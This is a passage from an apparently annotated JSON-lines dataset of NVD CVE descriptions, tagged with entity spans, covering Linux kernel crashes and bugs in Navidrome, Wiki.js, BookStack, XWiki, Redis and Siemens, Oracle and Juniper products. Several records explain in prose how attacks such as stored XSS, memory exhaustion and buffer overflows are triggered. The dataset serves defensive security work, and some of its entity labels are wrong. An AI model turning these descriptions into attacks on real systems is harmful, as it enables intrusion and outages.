0000000000000000 9000000100468000\n  [  130.643983]         0000000000000000 0000000000000000 0000000000000040 25af8d9b6e600558\n  [  130.644131]         0000000000000bb7 ffff80001b894048 0000000000000000 0000000000000000\n  [  130.644276]         9000000104cb7be8 90000000049f6000 0000000000000090 9000000104cb7bdc\n  [  130.644423]         ffff80001b894000 0000000000000000 00007ffffb917790 90000000032acfb0\n  [  130.644572]         ...\n  [  130.644629] Call Trace:\n  [  130.644641] [<9000000003137f7c>] build_body+0xd8/0x4988\n  [  130.644785] [<900000000313ca94>] bpf_int_jit_compile+0x228/0x4ec\n  [  130.644891] [<90000000032acfb0>] bpf_prog_select_runtime+0x158/0x1b0\n  [  130.645003] [<90000000032b3504>] bpf_prog_load+0x760/0xb44\n  [  130.645089] [<90000000032b6744>] __sys_bpf+0xbb8/0x2588\n  [  130.645175] [<90000000032b8388>] sys_bpf+0x20/0x2c\n  [  130.645259] [<9000000003f6ab38>] do_syscall+0x7c/0x94\n  [  130.645369] [<9000000003121c5c>] handle_syscall+0xbc/0x158\n  [  130.645507]\n  [  130.645539] Code: 380839f6  380831f9  28412bae <24000ca6> 004081ad  0014cb50  004083e8  02bff34c  58008e91\n  [  130.645729]\n  [  130.646418] ---[ end trace 0000000000000000 ]---\n\nOn my machine, which has CONFIG_PAGE_SIZE_16KB=y, the test failed at\nloading a BPF prog with 2039 instructions:\n\n  prog = (struct bpf_prog *)ffff80001b894000\n  insn = (struct bpf_insn *)(prog->insnsi)fff\n---truncated---", "spans": {"HASH: 61985c1d94084daa2432f771daa45b56b10d8d2a": [[482, 522]], "FILEPATH: /2/2022": [[596, 603]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[555, 559], [560, 564]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26588"}}
{"text": "A vulnerability has been identified in SIMATIC HMI Comfort Outdoor Panels V15 7\\\" & 15\\\" (incl. SIPLUS variants) (All versions < V15.1 Update 6), SIMATIC HMI Comfort Outdoor Panels V16 7\\\" & 15\\\" (incl. SIPLUS variants) (All versions < V16 Update 4), SIMATIC HMI Comfort Panels V15 4\\\" - 22\\\" (incl. SIPLUS variants) (All versions < V15.1 Update 6), SIMATIC HMI Comfort Panels V16 4\\\" - 22\\\" (incl. SIPLUS variants) (All versions < V16 Update 4), SIMATIC HMI KTP Mobile Panels V15 KTP400F, KTP700, KTP700F, KTP900 and KTP900F (All versions < V15.1 Update 6), SIMATIC HMI KTP Mobile Panels V16 KTP400F, KTP700, KTP700F, KTP900 and KTP900F (All versions < V16 Update 4), SIMATIC WinCC Runtime Advanced V15 (All versions < V15.1 Update 6), SIMATIC WinCC Runtime Advanced V16 (All versions < V16 Update 4), SINAMICS GH150 (All versions), SINAMICS GL150 (with option X30) (All versions), SINAMICS GM150 (with option X30) (All versions), SINAMICS SH150 (All versions), SINAMICS SL150 (All versions), SINAMICS SM120 (All versions), SINAMICS SM150 (All versions), SINAMICS SM150i (All versions). SmartVNC has a heap allocation leak vulnerability in the server Tight encoder, which could result in a Denial-of-Service condition.", "spans": {"VULNERABILITY: Denial-of-Service": [[1191, 1208]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-27383"}}
{"text": "Navidrome is an open source web-based music collection server and streamer. Prior to version 0.60.0, authenticated users can crash the Navidrome server by supplying an excessively large size parameter to /rest/getCoverArt or to a shared-image URL (/share/img/<token>). When processing such requests, the server attempts to create an extremely large resized image, causing uncontrolled memory growth. This triggers the Linux OOM killer, terminates the Navidrome process, and results in a full service outage. If the system has sufficient memory and survives the allocation, Navidrome then writes these extremely large resized images into its cache directory, allowing an attacker to rapidly exhaust server disk space as well. This issue has been patched in version 0.60.0.", "spans": {"FILEPATH: /rest/getCoverArt": [[204, 221]], "FILEPATH: /share/img": [[248, 258]], "SYSTEM: Linux": [[418, 423]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25579"}}
{"text": "HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. As one method of removing redundant data, CRAM uses reference-based compression so that instead of storing the full sequence for each alignment record it stores a location in an external reference sequence along with a list of differences to the reference at that location as a sequence of \"features\". When decoding these features, an out-by-one error in a test for CRAM features that appear beyond the extent of the CRAM record sequence could result in an invalid write of one attacker-controlled byte beyond the end of a heap buffer. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program.  It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.", "spans": {"VULNERABILITY: buffer overflow": [[713, 728]], "VULNERABILITY: code execution": [[955, 969]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31963"}}
{"text": "Vulnerability in the Oracle Enterprise Session Border Controller product of Oracle Communications Applications (component: File Upload). Supported versions that are affected are 8.1.0, 8.2.0 and 8.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Enterprise Session Border Controller. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Enterprise Session Border Controller, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Enterprise Session Border Controller as well as unauthorized update, insert or delete access to some of Oracle Enterprise Session Border Controller accessible data and unauthorized read access to a subset of Oracle Enterprise Session Border Controller accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [76, 82], [310, 316], [472, 478], [712, 718], [823, 829], [927, 933]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14630"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki is vulnerable to reflected cross-site scripting (RXSS) via the `rev` parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the user, including remote code (Groovy) execution in the case of a user with programming right, compromising the confidentiality, integrity and availability of the whole XWiki installation. This has been patched in XWiki 15.6 RC1, 15.5.1 and 14.10.14. The patch in commit `04e325d57` can be manually applied without upgrading (or restarting) the instance. Users are advised to upgrade or to manually apply the patch. There are no known workarounds for this vulnerability.", "spans": {"VULNERABILITY: cross-site scripting": [[138, 158]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46732"}}
{"text": "An integer overflow in the getnum function in lua_struct.c in Redis before 6.0.3 allows context-dependent attackers with permission to run Lua code in a Redis session to cause a denial of service (memory corruption and application crash) or possibly bypass intended sandbox restrictions via a large number, which triggers a stack-based buffer overflow. NOTE: this issue exists because of a CVE-2015-8080 regression.", "spans": {"CVE_ID: CVE-2015-8080": [[390, 403]], "FILEPATH: lua_struct.c": [[46, 58]], "SYSTEM: Redis": [[62, 67], [153, 158]], "VULNERABILITY: stack-based buffer overflow": [[324, 351]], "VULNERABILITY: denial of service": [[178, 195]], "VULNERABILITY: memory corruption": [[197, 214]], "VULNERABILITY: integer overflow": [[3, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14147"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: fix NULL pointer dereference in ceph_mds_auth_match()\n\nThe CephFS kernel client has regression starting from 6.18-rc1.\nWe have issue in ceph_mds_auth_match() if fs_name == NULL:\n\n    const char fs_name = mdsc->fsc->mount_options->mds_namespace;\n    ...\n    if (auth->match.fs_name && strcmp(auth->match.fs_name, fs_name)) {\n            / fsname mismatch, try next one */\n            return 0;\n    }\n\nPatrick Donnelly suggested that: In summary, we should definitely start\ndecoding `fs_name` from the MDSMap and do strict authorizations checks\nagainst it. Note that the `-o mds_namespace=foo` should only be used for\nselecting the file system to mount and nothing else. It's possible\nno mds_namespace is specified but the kernel will mount the only\nfile system that exists which may have name \"foo\".\n\nThis patch reworks ceph_mdsmap_decode() and namespace_equals() with\nthe goal of supporting the suggested concept. Now struct ceph_mdsmap\ncontains m_fs_name field that receives copy of extracted FS name\nby ceph_extract_encoded_string(). For the case of \"old\" CephFS file\nsystems, it is used \"cephfs\" name.\n\n[ idryomov: replace redundant %*pE with %s in ceph_mdsmap_decode(),\n  get rid of a series of strlen() calls in ceph_namespace_match(),\n  drop changes to namespace_equals() body to avoid treating empty\n  mds_namespace as equal, drop changes to ceph_mdsc_handle_fsmap()\n  as namespace_equals() isn't an equivalent substitution there ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[79, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23189"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: fix initialization of rx->link and rx->link_sta\n\nThere are some codepaths that do not initialize rx->link_sta properly. This\ncauses a crash in places which assume that rx->link_sta is valid if rx->sta\nis valid.\nOne known instance is triggered by __ieee80211_rx_h_amsdu being called from\nfast-rx. It results in a crash like this one:\n\n BUG: kernel NULL pointer dereference, address: 00000000000000a8\n #PF: supervisor write access in kernel mode\n #PF: error_code(0x0002) - not-present page PGD 0 P4D 0\n Oops: 0002 [#1] PREEMPT SMP PTI\n CPU: 1 PID: 506 Comm: mt76-usb-rx phy Tainted: G            E      6.1.0-debian64x+1.7 #3\n Hardware name: ZOTAC ZBOX-ID92/ZBOX-IQ01/ZBOX-ID92/ZBOX-IQ01, BIOS B220P007 05/21/2014\n RIP: 0010:ieee80211_deliver_skb+0x62/0x1f0 [mac80211]\n Code: 00 48 89 04 24 e8 9e a7 c3 df 89 c0 48 03 1c c5 a0 ea 39 a1 4c 01 6b 08 48 ff 03 48\n       83 7d 28 00 74 11 48 8b 45 30 48 63 55 44 <48> 83 84 d0 a8 00 00 00 01 41 8b 86 c0\n       11 00 00 8d 50 fd 83 fa 01\n RSP: 0018:ffff999040803b10 EFLAGS: 00010286\n RAX: 0000000000000000 RBX: ffffb9903f496480 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n RBP: ffff999040803ce0 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000000 R12: ffff8d21828ac900\n R13: 000000000000004a R14: ffff8d2198ed89c0 R15: ffff8d2198ed8000\n FS:  0000000000000000(0000) GS:ffff8d24afe80000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 00000000000000a8 CR3: 0000000429810002 CR4: 00000000001706e0\n Call Trace:\n  <TASK>\n  __ieee80211_rx_h_amsdu+0x1b5/0x240 [mac80211]\n  ? ieee80211_prepare_and_rx_handle+0xcdd/0x1320 [mac80211]\n  ? __local_bh_enable_ip+0x3b/0xa0\n  ieee80211_prepare_and_rx_handle+0xcdd/0x1320 [mac80211]\n  ? prepare_transfer+0x109/0x1a0 [xhci_hcd]\n  ieee80211_rx_list+0xa80/0xda0 [mac80211]\n  mt76_rx_complete+0x207/0x2e0 [mt76]\n  mt76_rx_poll_complete+0x357/0x5a0 [mt76]\n  mt76u_rx_worker+0x4f5/0x600 [mt76_usb]\n  ? mt76_get_min_avg_rssi+0x140/0x140 [mt76]\n  __mt76_worker_fn+0x50/0x80 [mt76]\n  kthread+0xed/0x120\n  ? kthread_complete_and_exit+0x20/0x20\n  ret_from_fork+0x22/0x30\n\nSince the initialization of rx->link and rx->link_sta is rather convoluted\nand duplicated in many places, clean it up by using a helper function to\nset it.\n\n[remove unnecessary rx->sta->sta.mlo check]", "spans": {"FILEPATH: /ZBOX-IQ01/ZBOX-ID92/ZBOX-IQ01": [[740, 770]], "FILEPATH: /21/2014": [[788, 796]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[432, 456]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48876"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrivers: perf: ctr_get_width function for legacy is not defined\n\nWith parameters CONFIG_RISCV_PMU_LEGACY=y and CONFIG_RISCV_PMU_SBI=n\nlinux kernel crashes when you try perf record:\n\n$ perf record ls\n[ 46.749286] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n[ 46.750199] Oops [#1]\n[ 46.750342] Modules linked in:\n[ 46.750608] CPU: 0 PID: 107 Comm: perf-exec Not tainted 6.6.0 #2\n[ 46.750906] Hardware name: riscv-virtio,qemu (DT)\n[ 46.751184] epc : 0x0\n[ 46.751430] ra : arch_perf_update_userpage+0x54/0x13e\n[ 46.751680] epc : 0000000000000000 ra : ffffffff8072ee52 sp : ff2000000022b8f0\n[ 46.751958] gp : ffffffff81505988 tp : ff6000000290d400 t0 : ff2000000022b9c0\n[ 46.752229] t1 : 0000000000000001 t2 : 0000000000000003 s0 : ff2000000022b930\n[ 46.752451] s1 : ff600000028fb000 a0 : 0000000000000000 a1 : ff600000028fb000\n[ 46.752673] a2 : 0000000ae2751268 a3 : 00000000004fb708 a4 : 0000000000000004\n[ 46.752895] a5 : 0000000000000000 a6 : 000000000017ffe3 a7 : 00000000000000d2\n[ 46.753117] s2 : ff600000028fb000 s3 : 0000000ae2751268 s4 : 0000000000000000\n[ 46.753338] s5 : ffffffff8153e290 s6 : ff600000863b9000 s7 : ff60000002961078\n[ 46.753562] s8 : ff60000002961048 s9 : ff60000002961058 s10: 0000000000000001\n[ 46.753783] s11: 0000000000000018 t3 : ffffffffffffffff t4 : ffffffffffffffff\n[ 46.754005] t5 : ff6000000292270c t6 : ff2000000022bb30\n[ 46.754179] status: 0000000200000100 badaddr: 0000000000000000 cause: 000000000000000c\n[ 46.754653] Code: Unable to access instruction at 0xffffffffffffffec.\n[ 46.754939] ---[ end trace 0000000000000000 ]---\n[ 46.755131] note: perf-exec[107] exited with irqs disabled\n[ 46.755546] note: perf-exec[107] exited with preempt_count 4\n\nThis happens because in the legacy case the ctr_get_width function was not\ndefined, but it is used in arch_perf_update_userpage.\n\nAlso remove extra check in riscv_pmu_ctr_get_width_mask", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[305, 329]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26796"}}
{"text": "There are many buffer overflow vulnerabilities present in several CGI binaries of the charging station.This issue affects Iocharger firmware for AC model chargers beforeversion 24120701.\n\nLikelihood: High – Given the prevalence of these buffer overflows, and the clear error message of the web server, an attacker is very likely to be able to find these vulnerabilities.\n\nImpact: Low – Usually, overflowing one of these buffers just causes a segmentation fault of the CGI binary, which causes the web server to return a 502 Bad Gateway error. However the webserver itself is not affected, and no DoS can be achieved. Abusing these buffer overflows in a meaningful way requires highly technical knowledge, especially since ASLR also seems to be enabled on the charging station. However, a skilled attacker might be able to use one of these buffer overflows to obtain remote code execution.\n\nCVSS clarification. The attack can be executed over any network connection the station is listening to and serves the web interface (AV:N), and there are no additional security measure sin place that need to be circumvented (AC:L), the attack does not rely on preconditions (AT:N). The attack does require authentication, but the level of authentication is irrelevant (PR:L), it does not require user interaction (UI:N). The attack has a small impact on the availability of the device (VC:N/VI:N/VA:L).  There is no impact on subsequent systems. (SC:N/SI:N/SA:N). While this device is an EV charger handing significant amounts of power, we do not expect  this vulnerability to have a safety impact. The attack can be automated (AU:Y).", "spans": {"VULNERABILITY: remote code execution": [[866, 887]], "VULNERABILITY: buffer overflow": [[15, 30]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43663"}}
{"text": "When DNS filtering is enabled on Juniper Networks Junos MX Series with one of the following cards MS-PIC, MS-MIC or MS-MPC, an incoming stream of packets processed by the Multiservices PIC Management Daemon (mspmand) process, responsible for managing \"URL Filtering service\", may crash, causing the Services PIC to restart. While the Services PIC is restarting, all PIC services including DNS filtering service (DNS sink holing) will be bypassed until the Services PIC completes its boot process. This vulnerability might allow an attacker to cause an extended Denial of Service (DoS) attack against the device and to cause clients to be vulnerable to DNS based attacks by malicious DNS servers when they send DNS requests through the device. As a result, devices which were once protected by the DNS Filtering service are no longer protected and at risk of exploitation. This issue affects Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S8; 18.3 versions prior to 18.3R3-S1; 18.4 versions prior to 18.4R3; 19.1 versions prior to 19.1R3; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R3. This issue does not affect Juniper Networks Junos OS 17.4, 18.1, and 18.2.", "spans": {"ORGANIZATION: Juniper": [[33, 40], [891, 898], [1137, 1144]], "VULNERABILITY: Denial of Service": [[561, 578]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1660"}}
{"text": "Wiki.js is a wiki app built on node.js. Wiki.js 2.5.263 and earlier is vulnerable to stored cross-site scripting through a SVG file upload made via a custom request with a fake MIME type. By creating a crafted SVG file, a malicious Wiki.js user may stage a stored cross-site scripting attack. This allows the attacker to execute malicious JavaScript when the SVG is viewed directly by other users. Scripts do not execute when loaded inside a page via normal `<img>` tags. The malicious SVG can only be uploaded by crafting a custom request to the server with a fake MIME type. A patch in version 2.5.264 fixes this vulnerability by adding an additional file extension verification check to the optional (enabled by default) SVG sanitization step to all file uploads that match the SVG mime type. As a workaround, disable file upload for all non-trusted users.", "spans": {"FILEPATH: Wiki.js": [[0, 7], [40, 47], [232, 239]], "FILEPATH: node.js": [[31, 38]], "VULNERABILITY: cross-site scripting": [[92, 112], [264, 284]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43855"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix leak of kobject name for sub-group space_info\n\nWhen create_space_info_sub_group() allocates elements of\nspace_info->sub_group[], kobject_init_and_add() is called for each\nelement via btrfs_sysfs_add_space_info_type(). However, when\ncheck_removing_space_info() frees these elements, it does not call\nbtrfs_sysfs_remove_space_info() on them. As a result, kobject_put() is\nnot called and the associated kobj->name objects are leaked.\n\nThis memory leak is reproduced by running the blktests test case\nzbd/009 on kernels built with CONFIG_DEBUG_KMEMLEAK. The kmemleak\nfeature reports the following error:\n\nunreferenced object 0xffff888112877d40 (size 16):\n  comm \"mount\", pid 1244, jiffies 4294996972\n  hex dump (first 16 bytes):\n    64 61 74 61 2d 72 65 6c 6f 63 00 c4 c6 a7 cb 7f  data-reloc......\n  backtrace (crc 53ffde4d):\n    __kmalloc_node_track_caller_noprof+0x619/0x870\n    kstrdup+0x42/0xc0\n    kobject_set_name_vargs+0x44/0x110\n    kobject_init_and_add+0xcf/0x150\n    btrfs_sysfs_add_space_info_type+0xfc/0x210 [btrfs]\n    create_space_info_sub_group.constprop.0+0xfb/0x1b0 [btrfs]\n    create_space_info+0x211/0x320 [btrfs]\n    btrfs_init_space_info+0x15a/0x1b0 [btrfs]\n    open_ctree+0x33c7/0x4a50 [btrfs]\n    btrfs_get_tree.cold+0x9f/0x1ee [btrfs]\n    vfs_get_tree+0x87/0x2f0\n    vfs_cmd_create+0xbd/0x280\n    __do_sys_fsconfig+0x3df/0x990\n    do_syscall_64+0x136/0x1540\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nTo avoid the leak, call btrfs_sysfs_remove_space_info() instead of\nkfree() for the elements.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[517, 528]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31434"}}
{"text": "In BookStack before version 0.30.4, a user with permissions to edit a page could insert JavaScript code through the use of `javascript:` URIs within a link or form which would run, within the context of the current page, when clicked or submitted. Additionally, a user with permissions to edit a page could insert a particular meta tag which could be used to silently redirect users to a alternative location upon visit of a page. Dangerous content may remain in the database but will be removed before being displayed on a page. If you think this could have been exploited the linked advisory provides a SQL query to test. As a workaround without upgrading, page edit permissions could be limited to only those that are trusted until you can upgrade although this will not address existing exploitation of this vulnerability. The issue is fixed in BookStack version 0.30.4.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26211"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hinic: avoid kernel hung in hinic_get_stats64()\n\nWhen using hinic device as a bond slave device, and reading device stats\nof master bond device, the kernel may hung.\n\nThe kernel panic calltrace as follows:\nKernel panic - not syncing: softlockup: hung tasks\nCall trace:\n  native_queued_spin_lock_slowpath+0x1ec/0x31c\n  dev_get_stats+0x60/0xcc\n  dev_seq_printf_stats+0x40/0x120\n  dev_seq_show+0x1c/0x40\n  seq_read_iter+0x3c8/0x4dc\n  seq_read+0xe0/0x130\n  proc_reg_read+0xa8/0xe0\n  vfs_read+0xb0/0x1d4\n  ksys_read+0x70/0xfc\n  __arm64_sys_read+0x20/0x30\n  el0_svc_common+0x88/0x234\n  do_el0_svc+0x2c/0x90\n  el0_svc+0x1c/0x30\n  el0_sync_handler+0xa8/0xb0\n  el0_sync+0x148/0x180\n\nAnd the calltrace of task that actually caused kernel hungs as follows:\n  __switch_to+124\n  __schedule+548\n  schedule+72\n  schedule_timeout+348\n  __down_common+188\n  __down+24\n  down+104\n  hinic_get_stats64+44 [hinic]\n  dev_get_stats+92\n  bond_get_stats+172 [bonding]\n  dev_get_stats+92\n  dev_seq_printf_stats+60\n  dev_seq_show+24\n  seq_read_iter+964\n  seq_read+220\n  proc_reg_read+164\n  vfs_read+172\n  ksys_read+108\n  __arm64_sys_read+28\n  el0_svc_common+132\n  do_el0_svc+40\n  el0_svc+24\n  el0_sync_handler+164\n  el0_sync+324\n\nWhen getting device stats from bond, kernel will call bond_get_stats().\nIt first holds the spinlock bond->stats_lock, and then call\nhinic_get_stats64() to collect hinic device's stats.\nHowever, hinic_get_stats64() calls `down(&nic_dev->mgmt_lock)` to\nprotect its critical section, which may schedule current task out.\nAnd if system is under high pressure, the task cannot be woken up\nimmediately, which eventually triggers kernel hung panic.\n\nSince previous patch has replaced hinic_dev.tx_stats/rx_stats with local\nvariable in hinic_get_stats64(), there is nothing need to be protected\nby lock, so just removing down()/up() is ok.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50174"}}
{"text": "Vulnerability in the Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Target Management). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager for Oracle Database. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager for Oracle Database accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager for Oracle Database accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager for Oracle Database. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[170, 178]], "IP_ADDRESS: 13.2.0.0": [[180, 188]], "IP_ADDRESS: 13.3.0.0": [[193, 201]], "SYSTEM: Oracle Database": [[44, 59], [334, 349], [492, 507], [614, 629], [748, 763]], "ORGANIZATION: Oracle": [[71, 77]], "VULNERABILITY: denial of service": [[690, 707]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2640"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"tty: n_gsm: fix UAF in gsm_cleanup_mux\"\n\nThis reverts commit 9b9c8195f3f0d74a826077fc1c01b9ee74907239.\n\nThe commit above is reverted as it did not solve the original issue.\n\ngsm_cleanup_mux() tries to free up the virtual ttys by calling\ngsm_dlci_release() for each available DLCI. There, dlci_put() is called to\ndecrease the reference counter for the DLCI via tty_port_put() which\nfinally calls gsm_dlci_free(). This already clears the pointer which is\nbeing checked in gsm_cleanup_mux() before calling gsm_dlci_release().\nTherefore, it is not necessary to clear this pointer in gsm_cleanup_mux()\nas done in the reverted commit. The commit introduces a null pointer\ndereference:\n <TASK>\n ? __die+0x1f/0x70\n ? page_fault_oops+0x156/0x420\n ? search_exception_tables+0x37/0x50\n ? fixup_exception+0x21/0x310\n ? exc_page_fault+0x69/0x150\n ? asm_exc_page_fault+0x26/0x30\n ? tty_port_put+0x19/0xa0\n gsmtty_cleanup+0x29/0x80 [n_gsm]\n release_one_tty+0x37/0xe0\n process_one_work+0x1e6/0x3e0\n worker_thread+0x4c/0x3d0\n ? __pfx_worker_thread+0x10/0x10\n kthread+0xe1/0x110\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x2f/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1b/0x30\n </TASK>\n\nThe actual issue is that nothing guards dlci_put() from being called\nmultiple times while the tty driver was triggered but did not yet finished\ncalling gsm_dlci_free().", "spans": {"HASH: 9b9c8195f3f0d74a826077fc1c01b9ee74907239": [[138, 178]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52564"}}
{"text": "Raspberry Pi 3 B+ and 4 B devices through 2021-08-09, in certain specific use cases in which the device supplies power to audio-output equipment, allow remote attackers to recover speech signals from an LED on the device, via a telescope and an electro-optical sensor, aka a \"Glowworm\" attack. We assume that the Raspberry Pi supplies power to some speakers. The power indicator LED of the Raspberry Pi is connected directly to the power line, as a result, the intensity of a device's power indicator LED is correlative to the power consumption. The sound played by the speakers affects the Raspberry Pi's power consumption and as a result is also correlative to the light intensity of the LED. By analyzing measurements obtained from an electro-optical sensor directed at the power indicator LED of the Raspberry Pi, we can recover the sound played by the speakers.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-38545"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: zone: fix to avoid inconsistence in between SIT and SSA\n\nw/ below testcase, it will cause inconsistence in between SIT and SSA.\n\ncreate_null_blk 512 2 1024 1024\nmkfs.f2fs -m /dev/nullb0\nmount /dev/nullb0 /mnt/f2fs/\ntouch /mnt/f2fs/file\nf2fs_io pinfile set /mnt/f2fs/file\nfallocate -l 4GiB /mnt/f2fs/file\n\nF2FS-fs (nullb0): Inconsistent segment (0) type [1, 0] in SSA and SIT\nCPU: 5 UID: 0 PID: 2398 Comm: fallocate Tainted: G           O       6.13.0-rc1 #84\nTainted: [O]=OOT_MODULE\nHardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006\nCall Trace:\n <TASK>\n dump_stack_lvl+0xb3/0xd0\n dump_stack+0x14/0x20\n f2fs_handle_critical_error+0x18c/0x220 [f2fs]\n f2fs_stop_checkpoint+0x38/0x50 [f2fs]\n do_garbage_collect+0x674/0x6e0 [f2fs]\n f2fs_gc_range+0x12b/0x230 [f2fs]\n f2fs_allocate_pinning_section+0x5c/0x150 [f2fs]\n f2fs_expand_inode_data+0x1cc/0x3c0 [f2fs]\n f2fs_fallocate+0x3c3/0x410 [f2fs]\n vfs_fallocate+0x15f/0x4b0\n __x64_sys_fallocate+0x4a/0x80\n x64_sys_call+0x15e8/0x1b80\n do_syscall_64+0x68/0x130\n entry_SYSCALL_64_after_hwframe+0x67/0x6f\nRIP: 0033:0x7f9dba5197ca\nF2FS-fs (nullb0): Stopped filesystem due to reason: 4\n\nThe reason is f2fs_gc_range() may try to migrate block in curseg, however,\nits SSA block is not uptodate due to the last summary block data is still\nin cache of curseg.\n\nIn this patch, we add a condition in f2fs_gc_range() to check whether\nsection is opened or not, and skip block migration for opened section.", "spans": {"FILEPATH: /dev/nullb0": [[249, 260], [267, 278]], "FILEPATH: /mnt/f2fs": [[279, 288]], "FILEPATH: /mnt/f2fs/file": [[296, 310], [331, 345], [364, 378]], "FILEPATH: /01/2006": [[627, 635]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: VirtualBox": [[586, 596], [597, 607], [614, 624]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38164"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: Fix reset error handling\n\nDo not call iavf_close in iavf_reset_task error handling. Doing so can\nlead to double call of napi_disable, which can lead to deadlock there.\nRemoving VF would lead to iavf_remove task being stuck, because it\nrequires crit_lock, which is held by iavf_close.\nCall iavf_disable_vf if reset fail, so that driver will clean up\nremaining invalid resources.\nDuring rapid VF resets, HW can fail to setup VF mailbox. Wrong\nerror handling can lead to iavf_remove being stuck with:\n[ 5218.999087] iavf 0000:82:01.0: Failed to init adminq: -53\n...\n[ 5267.189211] INFO: task repro.sh:11219 blocked for more than 30 seconds.\n[ 5267.189520]       Tainted: G S          E     5.18.0-04958-ga54ce3703613-dirty #1\n[ 5267.189764] \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n[ 5267.190062] task:repro.sh        state:D stack:    0 pid:11219 ppid:  8162 flags:0x00000000\n[ 5267.190347] Call Trace:\n[ 5267.190647]  <TASK>\n[ 5267.190927]  __schedule+0x460/0x9f0\n[ 5267.191264]  schedule+0x44/0xb0\n[ 5267.191563]  schedule_preempt_disabled+0x14/0x20\n[ 5267.191890]  __mutex_lock.isra.12+0x6e3/0xac0\n[ 5267.192237]  ? iavf_remove+0xf9/0x6c0 [iavf]\n[ 5267.192565]  iavf_remove+0x12a/0x6c0 [iavf]\n[ 5267.192911]  ? _raw_spin_unlock_irqrestore+0x1e/0x40\n[ 5267.193285]  pci_device_remove+0x36/0xb0\n[ 5267.193619]  device_release_driver_internal+0xc1/0x150\n[ 5267.193974]  pci_stop_bus_device+0x69/0x90\n[ 5267.194361]  pci_stop_and_remove_bus_device+0xe/0x20\n[ 5267.194735]  pci_iov_remove_virtfn+0xba/0x120\n[ 5267.195130]  sriov_disable+0x2f/0xe0\n[ 5267.195506]  ice_free_vfs+0x7d/0x2f0 [ice]\n[ 5267.196056]  ? 